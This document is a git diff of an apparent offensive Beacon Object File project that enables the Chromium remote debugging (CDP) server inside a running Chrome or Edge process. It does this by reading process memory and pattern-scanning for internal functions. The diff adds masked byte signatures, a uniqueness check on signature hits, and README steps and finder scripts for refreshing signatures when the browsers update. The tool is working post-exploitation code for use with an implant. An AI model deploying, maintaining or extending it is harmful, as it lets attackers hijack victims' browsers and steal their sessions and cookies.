diff --git a/README.md b/README.md index 3bf0658..62aaa8a 100644 --- a/README.md +++ b/README.md @@ -58,23 +58,27 @@ Cause: Edge version mismatch - signatures are version-specific Solution: See "Finding New Signatures" below Tested Chrome Version: 147.0.7727.102 -Tested Edge Version: 147.0.3912.72 +Tested Edge Version: 147.0.3912.98 ## Finding New Signatures -The finder scripts are still included because they are useful for: +These scripts are used to find new signatures and supporting runtime inputs for +updated browser versions: -- validating new signatures -- checking symbol drift across browser versions -- reverse engineering / troubleshooting +- `StartRemoteDebuggingServer` +- `operator new` +- `TCPServerSocketFactory::CreateForHttpServer` +- derived `TCPServerSocketFactory` vtable information ### Pull the DLLs -Typical browser DLL locations: +Copy the DLL from the browser build you are targeting into the working +directory. On this machine, the installed DLLs live under versioned +subdirectories: ```powershell -Copy-Item "$env:ProgramFiles\\Google\\Chrome\\Application\\chrome.dll" . -Copy-Item "${env:ProgramFiles(x86)}\\Microsoft\\Edge\\Application\\msedge.dll" . +Copy-Item "C:\Program Files\Google\Chrome\Application\147.0.7727.138\chrome.dll" . +Copy-Item "C:\Program Files (x86)\Microsoft\Edge\Application\147.0.3912.98\msedge.dll" . ``` ### Pull the matching PDBs @@ -96,23 +100,86 @@ symchk /v /ocx edge-symchk.txt /s SRV*c:\symbols*https://msdl.microsoft.com/down Find `StartRemoteDebuggingServer`: ```powershell -python .\find_start_server.py .\chrome.dll .\chrome.dll.pdb -python .\find_start_server.py .\msedge.dll .\msedge.dll.pdb +python .\find_start_server.py .\chrome.dll +python .\find_start_server.py .\msedge.dll ``` +Example Edge output: + +```json +{ + "binary": "C:\\Users\\antrovmp\\Desktop\\CDP-Enable-BOF\\msedge.dll", + "pdb": "c:\\symbols\\msedge.dll.pdb\\23DB3E4A1AB4F3B44C4C44205044422E1\\msedge.dll.pdb", + "symbol": "?StartRemoteDebuggingServer@DevToolsAgentHost@content@@SAXV?$unique_ptr@VDevToolsSocketFactory@content@@U?$default_delete@VDevToolsSocketFactory@content@@@__Cr@std@@@__Cr@std@@AEBVFilePath@base@@1W4RemoteDebuggingServerMode@12@@Z", + "signature_rva": "0x0321EAC2", + "signature_va": "0x000000018321EAC2", + "signature_length": 30, + "signature_hex": "41 57 41 56 41 54 56 57 55 53 48 83 EC 50 44 89 CD 4C 89 C3 48 89 D7 48 89 CE 48 8B 05 5D", + "signature_c_initializer": "0x41, 0x57, 0x41, 0x56, 0x41, 0x54, 0x56, 0x57, 0x55, 0x53, 0x48, 0x83, 0xEC, 0x50, 0x44, 0x89, 0xCD, 0x4C, 0x89, 0xC3, 0x48, 0x89, 0xD7, 0x48, 0x89, 0xCE, 0x48, 0x8B, 0x05, 0x5D", + "copy_to_code": "Use this for EDGE_START_SIG if analyzing msedge.dll, or CHROME_START_SIG if analyzing chrome.dll.", + "text_hits": 1 +} +``` + +Copy `signature_c_initializer` into the start signature array in +`cdp_enable_bof.c`: + +- Edge: `EDGE_START_SIG` at line 168 +- Edge mask: `EDGE_START_MASK` at line 181 +- Chrome: `CHROME_START_SIG` at line 194 +- Chrome mask: `CHROME_START_MASK` at line 207 + +For Edge, replace the bytes in `EDGE_START_SIG` with the new +`signature_c_initializer`. For Chrome, do the same with `CHROME_START_SIG`. + Find the supporting inputs: ```powershell -python .\find_cdp_inputs.py .\chrome.dll .\chrome.dll.pdb -python .\find_cdp_inputs.py .\msedge.dll .\msedge.dll.pdb +python .\find_cdp_inputs.py .\chrome.dll +python .\find_cdp_inputs.py .\msedge.dll ``` -These scripts emit: +Example Edge output: -- `StartRemoteDebuggingServer` -- `operator new` -- `TCPServerSocketFactory::CreateForHttpServer` -- derived `TCPServerSocketFactory` vtable +```json +{ + "binary": "msedge.dll", + "operator_new": { + "rva": "0x036335D8", + "va": "0x00000001836335D8", + "signature": "40 53 48 83 EC 20 48 8B D9 EB ?? 48 8B CB E8 ?? ?? ?? ?? 85 C0 74 ?? 48 8B CB", + "copy_to_code": "OPERATOR_NEW_SIG" + }, + "tcp_server_socket_factory": { + "create_for_http_server": { + "rva": "0x016C7310", + "va": "0x00000001816C7310", + "signature_hex": "48 89 D0 0F B7 51 08 48", + "signature_c_initializer": "0x48, 0x89, 0xD0, 0x0F, 0xB7, 0x51, 0x08, 0x48", + "copy_to_code": "EDGE_ENTRY1_SIG", + "vtable_rva": "0x0FBDCA70", + "vtable_va": "0x000000018FBDCA70" + }, + "layout": { + "size": 16, + "vtable_offset": 0, + "port_offset": 8 + } + } +} +``` + +Important fields and where they go: + +- `operator_new.copy_to_code` -> `OPERATOR_NEW_SIG` at line 221 +- `tcp_server_socket_factory.create_for_http_server.copy_to_code` -> + `EDGE_ENTRY1_SIG` at line 242 or `CHROME_ENTRY1_SIG` at line 246 +- `tcp_server_socket_factory.layout` is a sanity check for the object layout the + BOF expects: size `16`, vtable offset `0`, port offset `8` + +The script also derives the TCPServerSocketFactory vtable location. The BOF +still resolves that through the `VTABLE_ENTRY0_SIG` / `VTABLE_ENTRY0_MASK` +helper at lines 228 and 234 if that helper drifts. ## Notes diff --git a/__pycache__/pe_signature_finder.cpython-312.pyc b/__pycache__/pe_signature_finder.cpython-312.pyc new file mode 100644 index 0000000..bbde98e Binary files /dev/null and b/__pycache__/pe_signature_finder.cpython-312.pyc differ diff --git a/cdp_enable_bof.c b/cdp_enable_bof.c index 48bec48..a8dddc2 100644 --- a/cdp_enable_bof.c +++ b/cdp_enable_bof.c @@ -170,7 +170,25 @@ static const uint8_t EDGE_START_SIG[] = { 0x55, 0x53, 0x48, 0x83, 0xEC, 0x50, 0x44, 0x89, 0xCD, 0x4C, 0x89, 0xC3, 0x48, 0x89, 0xD7, 0x48, 0x89, 0xCE, - 0x48, 0x8B, 0x05, 0x5D + 0x48, 0x8B, 0x05, 0x00, 0x00, 0x00, 0x00, + 0x48, 0x31, 0xE0, 0x48, 0x89, 0x44, 0x24, 0x48, + 0xE8, 0x00, 0x00, 0x00, 0x00, + 0x4C, 0x8B, 0x70, 0x08, 0x4D, 0x85, 0xF6, 0x0F, 0x84, + 0x00, 0x00, 0x00, 0x00, + 0xB9, 0x90, 0x00, 0x00, 0x00 +}; + +static const uint8_t EDGE_START_MASK[] = { + 1,1,1,1,1,1,1,1, + 1,1,1,1,1,1, + 1,1,1,1,1,1, + 1,1,1,1,1,1, + 1,1,1,0,0,0,0, + 1,1,1,1,1,1,1,1, + 1,0,0,0,0, + 1,1,1,1,1,1,1,1,1, + 0,0,0,0, + 1,1,1,1,1 }; static const uint8_t CHROME_START_SIG[] = { @@ -178,7 +196,12 @@ static const uint8_t CHROME_START_SIG[] = { 0x48, 0x83, 0xEC, 0x48, 0x44, 0x89, 0xCD, 0x4D, 0x89, 0xC6, 0x48, 0x89, 0xD3, 0x48, 0x89, 0xCE, - 0x48, 0x8B, 0x05, 0x00, 0x00, 0x00, 0x00 + 0x48, 0x8B, 0x05, 0x00, 0x00, 0x00, 0x00, + 0x48, 0x31, 0xE0, 0x48, 0x89, 0x44, 0x24, 0x40, 0xE8, + 0x00, 0x00, 0x00, 0x00, + 0x4C, 0x8B, 0x78, 0x08, 0x4D, 0x85, 0xFF, 0x0F, 0x84, + 0xE8, 0x00, 0x00, 0x00, + 0xB9, 0x90, 0x00, 0x00, 0x00 }; static const uint8_t CHROME_START_MASK[] = { @@ -186,7 +209,12 @@ static const uint8_t CHROME_START_MASK[] = { 1,1,1,1, 1,1,1,1,1,1, 1,1,1,1,1,1, - 1,1,1,0,0,0,0 + 1,1,1,0,0,0,0, + 1,1,1,1,1,1,1,1,1, + 0,0,0,0, + 1,1,1,1,1,1,1,1,1, + 1,1,1,1, + 1,1,1,1,1 }; /* Short unique operator new signature. */ @@ -437,6 +465,50 @@ static void* ScanRemoteForSignature(HANDLE hProcess, uint8_t* start, SIZE_T size return NULL; } +static int CountRemoteSignatureHits(HANDLE hProcess, uint8_t* start, SIZE_T size, + const uint8_t* sig, const uint8_t* mask, SIZE_T sig_len, + uintptr_t* first_hit) { + const SIZE_T chunk = 0x10000; + SIZE_T offset = 0; + int count = 0; + uint8_t* buf = (uint8_t*)HeapAlloc(GetProcessHeap(), 0, chunk + sig_len); + if (!buf) return 0; + + if (first_hit) *first_hit = 0; + + while (offset < size) { + SIZE_T to_read = size - offset; + SIZE_T read = 0, end, i; + if (to_read > chunk) to_read = chunk; + + if (!ReadProcessMemory(hProcess, start + offset, buf, to_read, &read) || read < sig_len) { + offset += chunk; + continue; + } + + end = read - sig_len; + for (i = 0; i <= end; i++) { + BOOL match = TRUE; + SIZE_T j; + for (j = 0; j < sig_len && match; j++) { + if (!mask || mask[j]) { + if (buf[i + j] != sig[j]) match = FALSE; + } + } + if (match) { + if (count == 0 && first_hit) { + *first_hit = (uintptr_t)(start + offset + i); + } + count++; + } + } + offset += chunk; + } + + HeapFree(GetProcessHeap(), 0, buf); + return count; +} + static int ScanRemoteForAllSignatures(HANDLE hProcess, uint8_t* start, SIZE_T size, const uint8_t* sig, const uint8_t* mask, SIZE_T sig_len, uint64_t* out_matches, int max_matches) { @@ -561,17 +633,23 @@ static BOOL ResolveSymbolsRuntime(HANDLE hProcess, uintptr_t module_base, const void* entry1 = NULL; uint64_t destr_addrs[32]; int destr_count = 0; + int start_hits = 0; if (!GetRemoteSectionInfo(hProcess, (uint8_t*)module_base, &text_base, &text_size, &rdata_base, &rdata_size)) { BeaconPrintf(CALLBACK_ERROR, "[-] Failed to read remote PE sections"); return FALSE; } - *start_server = (uintptr_t)ScanRemoteForSignature(hProcess, text_base, text_size, target->start_sig, target->start_mask, target->start_sig_len); - if (!*start_server) { + start_hits = CountRemoteSignatureHits( + hProcess, text_base, text_size, target->start_sig, target->start_mask, target->start_sig_len, start_server); + if (start_hits == 0 || !*start_server) { BeaconPrintf(CALLBACK_ERROR, "[-] StartRemoteDebuggingServer signature not found"); return FALSE; } + if (start_hits != 1) { + BeaconPrintf(CALLBACK_ERROR, "[-] StartRemoteDebuggingServer signature was not unique (hits=%d)", start_hits); + return FALSE; + } *chrome_new = (uintptr_t)ScanRemoteForSignature(hProcess, text_base, text_size, OPERATOR_NEW_SIG, OPERATOR_NEW_MASK, sizeof(OPERATOR_NEW_SIG)); if (!*chrome_new) { @@ -602,7 +680,7 @@ static BOOL ResolveSymbolsRuntime(HANDLE hProcess, uintptr_t module_base, const void go(char* args, int len) { TARGET_CFG targets[] = { - { "edge", L"msedge.exe", L"msedge.dll", EDGE_START_SIG, NULL, sizeof(EDGE_START_SIG), EDGE_ENTRY1_SIG, NULL, sizeof(EDGE_ENTRY1_SIG) }, + { "edge", L"msedge.exe", L"msedge.dll", EDGE_START_SIG, EDGE_START_MASK, sizeof(EDGE_START_SIG), EDGE_ENTRY1_SIG, NULL, sizeof(EDGE_ENTRY1_SIG) }, { "chrome", L"chrome.exe", L"chrome.dll", CHROME_START_SIG, CHROME_START_MASK, sizeof(CHROME_START_SIG), CHROME_ENTRY1_SIG, CHROME_ENTRY1_MASK, sizeof(CHROME_ENTRY1_SIG) } }; datap parser; @@ -797,4 +875,4 @@ void go(char* args, int len) { HeapFree(GetProcessHeap(), 0, local_page); VirtualFreeEx(hProcess, remote_mem, 0, MEM_RELEASE); CloseHandle(hProcess); -} +} \ No newline at end of file diff --git a/find_cdp_inputs.py b/find_cdp_inputs.py index 61bc2a4..c40c4a9 100644 --- a/find_cdp_inputs.py +++ b/find_cdp_inputs.py @@ -13,7 +13,7 @@ import pefile ROOT = Path(__file__).resolve().parent sys.path.insert(0, str(ROOT)) -from pe_signature_finder import analyze_symbols, demangle_symbol # type: ignore +from pe_signature_finder import analyze_symbols, demangle_symbol, format_bytes # type: ignore # From the current CDP-Enabler project: the Chrome/Edge allocator used for the @@ -47,6 +47,10 @@ def find_unique_regex(pattern: bytes, data: bytes) -> int: return matches[0] +def format_c_initializer(data: bytes) -> str: + return ", ".join(f"0x{b:02X}" for b in data) + + def choose_tcp_factory_entry1(pe_path: Path, pdb_path: Path): with contextlib.redirect_stderr(io.StringIO()): results = list( @@ -114,15 +118,20 @@ def main(): "rva": f"0x{operator_new_rva:08X}", "va": f"0x{image_base + operator_new_rva:016X}", "signature": OPERATOR_NEW_SIGNATURE, + "copy_to_code": "OPERATOR_NEW_SIG", }, "tcp_server_socket_factory": { "create_for_http_server": { "rva": f"0x{entry1_rva:08X}", "va": f"0x{entry1_va:016X}", + "signature_hex": format_bytes(entry1_sig), + "signature_c_initializer": format_c_initializer(entry1_sig), + "copy_to_code": "EDGE_ENTRY1_SIG" if args.pe.name.lower() == "msedge.dll" else "CHROME_ENTRY1_SIG", "derived_vtable_entry1_candidates": [f"0x{candidate:08X}" for candidate in vtable_candidates], "vtable_entry1_rva": f"0x{vtable_entry1_rva:08X}", "vtable_rva": f"0x{vtable_entry1_rva - 8:08X}", "vtable_va": f"0x{image_base + vtable_entry1_rva - 8:016X}", + "note": "The script emits the CreateForHttpServer function signature and derives the vtable location. The PIC code still uses VTABLE_ENTRY0_SIG / VTABLE_ENTRY0_MASK for vtable matching if that helper drifts.", }, "layout": { "size": 16, diff --git a/find_start_server.py b/find_start_server.py index 8fa9766..abc9cdf 100644 --- a/find_start_server.py +++ b/find_start_server.py @@ -14,16 +14,9 @@ sys.path.insert(0, str(ROOT)) from pe_signature_finder import analyze_symbols, format_bytes # type: ignore -KNOWN_START_SERVER_SIGNATURES = { - "msedge.dll": bytes.fromhex( - "41 57 41 56 41 54 56 57 55 53 48 83 EC 50 " - "44 89 CD 4C 89 C3 48 89 D7 48 89 CE 48 8B 05 9D" - ), - "chrome.dll": bytes.fromhex( - "41 57 41 56 56 57 55 53 48 83 EC 48 " - "44 89 CD 4D 89 C6 48 89 D3 48 89 CE 48 8B 05 41" - ), -} + +def format_c_initializer(data: bytes) -> str: + return ", ".join(f"0x{b:02X}" for b in data) def load_text_section(pe_path: Path): @@ -48,25 +41,8 @@ def main(): args = parser.parse_args() pe, _text_section, text_data = load_text_section(args.pe) - - known_sig = KNOWN_START_SERVER_SIGNATURES.get(args.pe.name.lower()) - if known_sig is None: - raise SystemExit(f"no built-in signature for {args.pe.name}; provide a PDB for ground truth") - - pattern_hits = [m.start() for m in re.finditer(re.escape(known_sig), text_data)] - if len(pattern_hits) != 1: - raise SystemExit(f"expected exactly one StartRemoteDebuggingServer signature hit, got {len(pattern_hits)}") - - matched_offset = pattern_hits[0] - matched_rva = _text_section.VirtualAddress + matched_offset - output = { "binary": str(args.pe), - "signature_rva": f"0x{matched_rva:08X}", - "signature_va": f"0x{pe.OPTIONAL_HEADER.ImageBase + matched_rva:016X}", - "signature_length": len(known_sig), - "signature_hex": format_bytes(known_sig), - "text_hits": 1, } if args.pdb: @@ -77,21 +53,30 @@ def main(): str(args.pdb), "*StartRemoteDebuggingServer*", min_sig=8, - max_sig=64, + max_sig=80, ) ) good = [r for r in results if r.signature and r.match_count == 1] - if good: - result = good[0] - signature = result.signature - assert signature is not None - output["pdb"] = str(args.pdb) - output["symbol"] = result.symbol.name - output["pdb_rva"] = f"0x{result.symbol.rva:08X}" - output["pdb_va"] = f"0x{pe.OPTIONAL_HEADER.ImageBase + result.symbol.rva:016X}" - output["pdb_signature_hex"] = format_bytes(signature) - output["pdb_signature_text_hits"] = verify_unique(signature, text_data) - output["signature_matches_pdb_rva"] = matched_rva == result.symbol.rva + if not good: + raise SystemExit("failed to derive a unique StartRemoteDebuggingServer signature from the PDB") + + result = good[0] + signature = result.signature + assert signature is not None + output["pdb"] = str(args.pdb) + output["symbol"] = result.symbol.name + output["signature_rva"] = f"0x{result.symbol.rva:08X}" + output["signature_va"] = f"0x{pe.OPTIONAL_HEADER.ImageBase + result.symbol.rva:016X}" + output["signature_length"] = len(signature) + output["signature_hex"] = format_bytes(signature) + output["signature_c_initializer"] = format_c_initializer(signature) + output["copy_to_code"] = ( + "Use this for EDGE_START_SIG if analyzing msedge.dll, or CHROME_START_SIG if analyzing chrome.dll." + ) + output["text_hits"] = verify_unique(signature, text_data) + + else: + raise SystemExit("a matching PDB is required") print(json.dumps(output, indent=2)) diff --git a/requirements.txt b/requirements.txt new file mode 100644 index 0000000..19f269d Binary files /dev/null and b/requirements.txt differ